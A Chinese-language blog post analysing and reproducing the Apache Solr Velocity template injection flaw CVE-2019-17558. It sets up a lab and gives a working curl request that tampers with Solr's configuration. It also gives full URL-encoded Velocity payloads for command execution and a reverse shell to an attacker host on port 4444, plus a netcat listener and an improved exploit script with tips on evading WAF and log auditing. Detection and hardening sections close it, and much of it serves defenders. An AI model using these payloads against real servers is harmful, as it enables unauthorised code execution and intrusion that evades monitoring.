Apache Solr Velocity模板注入漏洞(CVE-2019-17558)深度分析与实战复现
1. 项目概述:一次针对Apache Solr的深度安全审计实践
最近在整理内部资产的安全风险时,发现几台老版本的Apache Solr服务器还在线上运行。Solr作为一个基于Java的全文搜索服务器,在很多企业的数据中台和搜索业务中扮演着核心角色。但很多运维同学可能只关注了它的搜索性能,却忽略了其潜在的安全配置风险。这次我重点复现和分析的,就是那个在2019年底被披露,但至今仍有不少未修复实例在线的CVE-2019-17558漏洞。这个漏洞的本质是Velocity模板注入导致的远程代码执行(RCE),攻击者一旦利用成功,可以直接在服务器上执行任意命令,危害极大。我写这篇指南的目的,不仅是提供一个复现的“操作手册”,更是想深入拆解漏洞的成因、利用链的构造逻辑,以及在实际渗透测试或安全加固中,如何更灵活地运用和防御这种攻击。无论你是安全研究人员、渗透测试工程师,还是负责运维Solr的开发者,理解这个漏洞的完整脉络,都能帮助你更好地评估风险、编写检测规则或进行彻底修复。
2. 漏洞原理深度剖析:Velocity模板引擎为何成为突破口
2.1 Solr与Velocity响应写入器的工作机制
要理解CVE-2019-17558,首先得弄清楚Solr中VelocityResponseWriter这个组件是干什么的。简单来说,Solr处理完用户的搜索请求后,需要将结果以某种格式(如XML、JSON、CSV)返回给客户端。VelocityResponseWriter就是负责将数据渲染成Velocity模板格式的输出组件。Velocity本身是一个基于Java的模板引擎,它允许开发者在模板文件中使用一种简单的语法(VTL)来引用和操作Java对象。在Solr的默认配置中,VelocityResponseWriter是存在的,但它的params.resource.loader.enabled参数默认是false。这个参数的名字很关键,resource.loader指的是资源加载器,当它被禁用时,Solr只会从预定义的、安全的路径(如template.base.dir指定的目录)加载Velocity模板文件。
这里的安全边界就在于,模板内容是受控的、静态的文件。然而,问题就出在这个params.resource.loader.enabled开关上。如果它被设置为true,就意味着Velocity引擎允许从HTTP请求参数(params)中动态加载模板内容。想象一下,这就像是一个原本只允许读取本地菜谱的厨师,突然被允许直接接受陌生人递过来的、未经验证的“烹饪指令”,其危险性不言而喻。
2.2 配置篡改与注入链的形成
漏洞利用的第一步,就是通过Solr提供的配置API,将params.resource.loader.enabled设置为true。Solr为每个核心(Core)提供了一个配置管理端点(通常是/solr/{core_name}/config),支持通过HTTP POST请求更新其运行时配置。攻击者正是利用了这个合法的管理功能,注入了一个恶意的配置更新。
这个更新请求的Payload结构非常清晰:
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }它精准地定位了名为“velocity”的queryresponsewriter,并修改了其关键的安全参数。一旦这个POST请求成功,该Solr核心的Velocity响应写入器就进入了“不安全模式”。
注意:很多公开的复现文章只强调了
params.resource.loader.enabled,但实际Payload中通常同时设置solr.resource.loader.enabled为true。后者允许从Solr资源路径加载模板,虽然在此漏洞利用中不是必须的,但一起开启能确保资源加载器被完全激活,避免因环境差异导致利用失败。这是一个值得记录的细节。
2.3 从模板注入到Java代码执行
当资源加载器对参数开放后,攻击者就可以在发起搜索请求时,通过v.template.custom参数传入自定义的Velocity模板代码。Velocity模板语言本身功能强大,它支持#set指令定义变量,支持调用Java对象的方法。漏洞利用Payload的精髓,就是利用Velocity的这些特性,在模板中通过反射机制,动态获取并调用java.lang.Runtime类来执行系统命令。
我们拆解一下那个经典的Payload片段:
#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) ...#set($x=''):定义一个空字符串变量$x。在Java中,字符串也是对象,拥有getClass()方法。$x.class.forName('java.lang.Runtime'):通过字符串对象的class属性获取其Class对象,然后调用forName方法,动态加载java.lang.Runtime类。这里利用了Velocity可以直接调用对象方法的特性。- 后续通过
getRuntime().exec()执行命令,并读取进程的输出流,最终将命令执行结果嵌入到HTTP响应中返回。
这个过程完美绕过了Solr对用户输入内容作为数据处理的预期,将其提升为代码执行。这不仅仅是简单的参数污染,而是一次完整的、从配置篡改到代码注入的链式攻击。
3. 漏洞复现环境搭建与核心步骤详解
3.1 快速搭建漏洞测试环境
为了安全地研究和验证漏洞,我强烈建议在隔离的虚拟机或Docker环境中进行。使用Vulhub项目提供的环境是最快捷的方式,它已经集成了存在漏洞的Solr版本和必要的配置。
# 1. 克隆Vulhub仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub/solr/CVE-2019-17558 # 2. 构建并启动容器 docker-compose build docker-compose up -d执行上述命令后,一个运行着Apache Solr 8.2.0(受影响版本)的容器就会在后台启动,默认监听8983端口。接下来,我们需要创建一个Solr核心(Core),因为漏洞是针对特定核心的配置进行攻击的。
# 3. 进入容器并创建测试核心 docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db这里-c test指定了核心名称为test,-d参数指定了配置目录。创建成功后,访问http://your_vm_ip:8983/solr/就能看到Solr的管理界面,在Core Selector下拉菜单中应该能看到test核心。
实操心得:有时使用
docker-compose exec创建核心可能会失败,提示目录不存在。更稳妥的方法是直接通过Solr的API创建。访问http://your_vm_ip:8983/solr/admin/cores?action=CREATE&name=test&instanceDir=test&configSet=_default同样可以创建核心。多掌握一种方法,在复现时能避免卡在环境准备阶段。
3.2 漏洞利用第一步:探测与配置篡改
在发起攻击前,我们需要确认目标核心的存在。可以通过Solr的Admin API来获取所有核心列表:
GET /solr/admin/cores?indexInfo=false&wt=json在返回的JSON中,status字段下的键名就是可用的核心名称。确认核心名(例如test)后,就可以发起关键的配置篡改请求了。我使用curl命令来演示,这比在Burp Suite里手动粘贴更清晰,也便于写成脚本。
curl -X POST http://192.168.1.100:8983/solr/test/config \ -H 'Content-Type: application/json' \ -d '{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }'请将192.168.1.100替换为你实验环境的真实IP。如果请求成功,服务器通常会返回一个空的JSON对象{},或者包含更新状态的响应。这一步没有任何回显是正常的,关键在于后续的测试。
3.3 构造并执行命令注入Payload
配置篡改成功后,就可以通过搜索接口注入Velocity模板了。一个用于测试命令执行(如whoami)的完整URL构造如下:
http://192.168.1.100:8983/solr/test/select?q=*:*&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)%20%23set($rt=$x.class.forName(%27java.lang.Runtime%27))%20%23set($chr=$x.class.forName(%27java.lang.Character%27))%20%23set($str=$x.class.forName(%27java.lang.String%27))%20%23set($ex=$rt.getRuntime().exec(%27whoami%27))%20$ex.waitFor()%20%23set($out=$ex.getInputStream())%20%23foreach($i%20in%20[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end这个URL看起来很复杂,但主要是URL编码后的结果。解码后核心的Velocity模板部分是这样的:
#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('whoami')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end发送这个GET请求后,如果漏洞存在且利用成功,响应体中就会包含命令whoami的执行结果(例如solr)。这里有几个关键参数需要理解:
q=*:*:这是Solr的查询语法,表示匹配所有文档。这里查询什么不重要,主要是为了触发搜索请求。wt=velocity:指定响应写入器(Write Type)为Velocity,这是触发漏洞利用路径的关键。v.template=custom:告诉Velocity引擎使用自定义模板。v.template.custom:这里就是承载恶意Velocity模板代码的参数。
注意事项:在实际测试中,如果服务器返回“Error 500”,通常意味着命令执行本身成功了,但命令的输出可能包含了某些字符,导致Velocity引擎在渲染最终响应时出错。例如,
ls -la命令输出的换行符、特殊符号可能会破坏模板结构。这并不代表漏洞利用失败,只是回显不完整。对于反弹Shell这种不需要回显的操作,500错误反而是正常的。
4. 高级利用:绕过限制与反弹Shell实战
4.1 命令构造的陷阱与绕过技巧
直接执行像bash -c 'bash -i >& /dev/tcp/attacker_ip/port 0>&1'这样的标准反弹Shell命令,在Solr这个Java进程中很可能会失败。原因有二:一是命令中的重定向符号>&和0>&1在由Java的Runtime.exec()执行时,解析方式与在真正的Shell环境中不同;二是命令中可能包含空格、引号、特殊符号,在URL传递和Velocity模板解析时容易被错误处理。
经过多次测试,我发现一个非常可靠的变形Payload:
/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1这个命令的巧妙之处在于利用了$@和管道|。$@代表传递给脚本的所有参数。当bash -c执行时,$@在这里是空的,但整个字符串$@|bash 0 echo ...被当作一个命令参数。管道|左边的$@输出为空,然后通过管道传递给另一个bash进程,这个进程以0和echo bash -i ...作为参数。这种写法能有效地绕过Java执行环境对重定向符号的直接解析,让命令最终在一个完整的bash子shell中正确执行重定向操作。
4.2 Payload的编码与最终注入
我们不能直接将上面的命令粘贴到v.template.custom参数里,必须进行URL编码,确保它在HTTP请求中不会破坏结构。编码后的Payload片段如下(以攻击机IP为10.0.0.1,端口为4444为例):
%2Fbin%2Fbash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261然后,我们将这个编码后的命令字符串,替换掉之前测试whoami时的命令部分,构造出最终的漏洞利用URL:
http://192.168.1.100:8983/solr/test/select?q=*:*&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)%20%23set($rt=$x.class.forName(%27java.lang.Runtime%27))%20%23set($chr=$x.class.forName(%27java.lang.Character%27))%20%23set($str=$x.class.forName(%27java.lang.String%27))%20%23set($ex=$rt.getRuntime().exec(%27%2Fbin%2Fbash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261%27))%20$ex.waitFor()%20%23set($out=$ex.getInputStream())%20%23foreach($i%20in%20[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end在攻击机上,我们需要提前用Netcat监听对应的端口:
nc -lvnp 4444当向目标Solr服务器发送上述构造的HTTP请求后,如果一切顺利,在Netcat监听端就会收到一个反弹回来的Shell连接。这个过程可能稍有延迟,并且服务器端很可能返回“Error 500”,但这不影响反弹Shell的建立。
4.3 自动化利用脚本解析与改进
网上有很多公开的Python利用脚本,其逻辑基本一致,但我们可以对其进行优化,使其更健壮和隐蔽。核心函数通常包括:核心发现、配置篡改、命令执行。这里我分享几个改进点:
- 增加错误处理与超时:在发送配置更新POST请求后,可以增加一个对
/solr/test/select?q=*:*&wt=velocity的简单探测请求,检查是否返回了Velocity相关的错误信息(如org.apache.solr.common.SolrException),这比单纯看HTTP 200状态码更能确认配置是否生效。 - 命令回显处理:原始Payload对于有特殊字符的命令输出处理不好。可以改进输出读取部分,将其先Base64编码再回传。在Velocity模板中,可以调用
java.util.Base64编码器(Java 8+)来处理命令输出流,然后在客户端解码。 - 隐蔽性考虑:连续的POST配置更新和GET命令执行请求,在WAF或日志审计中可能显得可疑。可以考虑将配置更新的Payload拆分,或者利用Solr配置缓存机制,将攻击动作分散在不同时间进行。
一个改进版的命令执行函数思路如下(伪代码逻辑):
import base64 def execute_command_encoded(target_url, core_name, command): # 将命令输出Base64编码的Velocity模板 # 先执行命令,然后将输出通过Base64编码后返回,避免特殊字符问题 encoded_payload = """ #set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($ex=$rt.getRuntime().exec('COMMAND_PLACEHOLDER')) $ex.waitFor() #set($out=$ex.getInputStream()) #set($bytes=[]) #foreach($i in [1..$out.available()]) #set($void=$bytes.add($out.read())) #end #set($cls=$x.class.forName('java.util.Base64')) #set($encoder=$cls.getEncoder()) $encoder.encodeToString($bytes.toArray()) """.replace('COMMAND_PLACEHOLDER', command.replace("'", "\\'")) # ... 发送请求并解码返回的Base64字符串 ...这样,无论命令输出什么内容,回显都是干净的Base64字符串,极大地提高了成功率。
5. 漏洞防御与安全加固实战指南
5.1 立即缓解措施与版本升级
对于正在受此漏洞影响的系统,最直接有效的措施就是升级Apache Solr到安全版本。Apache官方在漏洞披露后发布了修复版本,应升级至8.3.1及以上或相应的后续安全版本。升级前务必做好备份和测试。
如果因为业务原因无法立即升级,可以采取以下临时缓解措施:
- 禁用VelocityResponseWriter:在
solrconfig.xml文件中,找到与VelocityResponseWriter相关的配置部分(通常在<queryResponseWriter>标签内),将其注释掉或删除。或者,将其class属性指向一个无害的类,但这需要自定义开发。 - 配置防火墙规则:严格限制访问Solr管理接口(默认
/solr/admin和/solr/{core}/config)的源IP,只允许运维管理终端访问。业务应用只需要访问搜索接口(/solr/{core}/select等)。 - 检查并重置配置:立即检查所有Solr核心的配置,确认
params.resource.loader.enabled和solr.resource.loader.enabled是否为false。可以通过config API的GET请求进行查询。
5.2 安全配置最佳实践
除了针对此漏洞的修复,从长远来看,构建安全的Solr部署需要遵循以下原则:
- 最小权限原则:运行Solr的进程(如
solr用户)应仅拥有必要的文件系统读写权限,避免使用root用户运行。 - 网络隔离:Solr服务器不应直接暴露在公网。应部署在内网,通过API网关、反向代理(如Nginx)对外提供搜索服务,并在代理层设置严格的请求过滤和速率限制。
- 启用认证授权:为Solr管理界面启用Basic认证或更安全的认证方式(如通过反向代理集成企业单点登录)。对于Solr 8.x及以上版本,可以配置其内置的认证和基于角色的授权功能。
- 定期安全审计:使用漏洞扫描工具定期扫描Solr服务,同时人工审查
solrconfig.xml和schema.xml等配置文件,确保没有启用不必要的、潜在危险的功能组件(如脚本处理器、自定义插件等)。
5.3 入侵检测与日志监控
即使做了防护,监控和检测能力也必不可少。在Solr的日志中,应重点关注以下可疑行为:
- 对
/config端点的POST请求:尤其是请求体中含有params.resource.loader.enabled字段的。这通常是攻击的第一步。 - 异常的
wt参数值:正常的搜索请求大多使用wt=json或wt=xml。突然出现大量wt=velocity的请求,尤其是结合了奇怪的v.template.custom参数时,是强烈的攻击信号。 - 日志中的Java异常栈:攻击Payload执行失败时,可能会在Solr日志(如
solr.log)中留下VelocityException或InvocationTargetException等异常信息,其中可能包含攻击者尝试执行的命令片段。
可以配置ELK(Elasticsearch, Logstash, Kibana)或类似的日志分析平台,对Solr访问日志和错误日志建立告警规则,实时捕捉上述模式。
6. 从漏洞复现到深度思考:模板注入的攻防博弈
复现CVE-2019-17558,绝不仅仅是为了执行一条whoami命令或获取一个反弹Shell。这个漏洞是一个绝佳的样本,揭示了模板注入类漏洞的通用攻击模式:寻找可控的模板参数 -> 激活不安全的动态加载功能 -> 注入模板语法实现代码执行。这种模式在Jinja2(Python)、Freemarker(Java)、Thymeleaf(Java)等其他模板引擎中也屡见不鲜。
对于防御方而言,启示是深刻的:
- 默认安全:任何允许动态加载或执行用户输入的功能,默认必须关闭。Solr的这个参数默认
false是正确的,但提供了开启的途径就是风险。 - 输入净化与上下文感知:对于模板引擎,简单的关键字过滤(如过滤
Runtime)很容易被绕过(如使用反射Class.forName)。最根本的解决方法是进行严格的上下文感知的输出编码,或者使用沙箱机制(如Java Security Manager)来限制模板代码的执行权限。Apache Solr在后续版本中彻底移除了通过参数动态加载模板的能力,这就是治本之策。 - 组件安全清单:在引入像Velocity、Freemarker这样的第三方模板引擎时,必须将其安全配置作为上线前检查清单的必选项。了解其安全模式、沙箱选项,并按照最小功能原则进行配置。
对于攻击方(在授权测试范围内),这个漏洞的利用过程锻炼了几项关键技能:对目标系统组件的深入理解(Solr配置API)、对利用链的拼接能力(配置篡改+代码注入)、对Payload的编码和变形以绕过潜在过滤。更重要的是,它提醒我们,在审计一个系统时,不仅要看它对外的主要功能接口,更要关注那些用于配置、调试、管理的“后台”接口,这些往往是安全防线最薄弱的地方。
整个复现和分析过程,就像一次完整的安全事件推演。从环境搭建、信息收集,到利用链构造、权限提升(反弹Shell),最后到痕迹清理(虽然本文未涉及)和防御加固,形成了一个闭环。掌握这样一个经典漏洞的方方面面,其价值远超漏洞本身,它为我们分析和应对未来可能出现的新型漏洞提供了方法论和实战经验。在安全领域,知其然,更要知其所以然,这才是持续进步的关键。
